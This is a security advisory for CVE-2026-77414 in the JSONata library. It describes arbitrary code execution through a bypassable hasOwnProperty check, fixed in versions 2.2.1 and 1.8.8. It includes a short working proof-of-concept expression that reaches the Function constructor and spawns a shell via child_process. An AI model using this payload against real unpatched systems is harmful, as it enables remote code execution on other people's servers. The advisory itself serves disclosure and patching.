JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions
GHSA-2943-5xfg-gq5f · CVE-2026-77414
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Description
Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with
crafted expressions, due to a bypassable hasOwnProperty check inenvironment.lookup
https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871
This was fixed in https://github.com/jsonata-js/jsonata/pull/799
(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)
which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.
PoC
import jsonata from "jsonata";
const expression = jsonata(`
(
$hasOwnProperty := $spread($string);
$__proto__ := $constructor;
$constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")();
)`);
await expression.evaluate({});
References
- WEB https://github.com/jsonata-js/jsonata/security/advisories/GHSA-2943-5xfg-gq5f
- WEB https://github.com/jsonata-js/jsonata/pull/799
- WEB https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2
- WEB https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de
- WEB https://github.com/jsonata-js/jsonata/commit/f09df8416eab8ff44926fc6527c80fb8701de159
- PACKAGE https://github.com/jsonata-js/jsonata
- WEB https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8
- WEB https://github.com/jsonata-js/jsonata/releases/tag/v2.2.1
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